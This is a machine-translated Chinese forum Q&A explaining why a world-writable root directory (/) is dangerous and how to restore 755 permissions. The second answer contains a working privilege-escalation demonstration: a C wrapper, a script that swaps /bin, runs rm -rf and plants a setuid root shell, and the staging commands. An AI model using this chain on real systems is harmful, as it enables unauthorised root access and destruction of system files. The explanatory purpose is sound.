
不過大部分內容都是755。
這是一個問題嗎?
答案1
有趣的是,/
實際上允許777
對其設定權限。該/
資料夾不應具有777
權限,因為這意味著登入系統的任何使用者都可以在/
根層級建立檔案和資料夾。我已經在虛擬機器中測試了這個,你不能刪除任何不777
存在的資料夾或文件sudo
,root
或owner
.仍然遵循存取權限,就像嘗試存取/root
資料夾本身會導致您的權限被拒絕。然而,話雖這麼說,您仍然可以移動該/root
資料夾來/root.old
造成一點破壞。
若要解決此問題,您可以執行sudo chmod 755 /
將權限變更為應有的權限。您也可以運行sudo chown root:root /
只是為了確保它由 root 本身擁有。 不要使用 -R 運行任何這些命令,因為這將更改分區中的所有檔案和資料夾以匹配權限和所有權。
希望這可以幫助!
答案2
/
不應該是世界可寫的
/
世界可寫可以是巨大的問題。擁有 的寫入權限/
,任何使用者都可以移動/重新命名 中的任何檔案或目錄/
。這意味著任何使用者都可以用他們選擇的目錄替換/etc
、/usr
或 中 的任何其他目錄。/
拒絕服務:微不足道
任何使用者都可以透過重新命名/etc
和來輕鬆 DoS 您的系統/usr
。
權限提升:稍微不那麼瑣碎
執行權限升級稍微困難一些。使用者可以/bin
用自己的副本替換,然後嘗試使用的任何進程cp
,甚至啟動一個外殼,將立即受到他們的擺佈。用戶所需要做的就是等待以 root 身份運行的進程使用 中的任何命令/bin
,或者等待 root 用戶使用登錄,然後他們就進入了。
例子
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
進而:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
下次 root 啟動 shell 時,您會在主目錄中獲得一個 setuid 可執行文件,然後您可以隨時使用它輕鬆地獲得 root 權限,而不會留下太多痕跡。
答案3
不可以/
。777
這意味著rwxrwxrwx
,即每個使用者都擁有對根目錄的寫入權限。
有了該權限,每個使用者都可以建立新的子目錄、刪除現有的子目錄以及替換現有的子目錄。例如,惡意使用者可以刪除/bin
(透過將其重新命名為/bin.old
)並建立一個/bin
由他們擁有的新文件,其中包含惡意可執行文件。或者使用者可以刪除/etc
(透過將其重新命名為/etc.old
)並建立一個新文件,/etc
其中包含一個新的/etc/passwd
和/etc/shadow
文件,該文件允許使用者登入系統上的每個帳戶。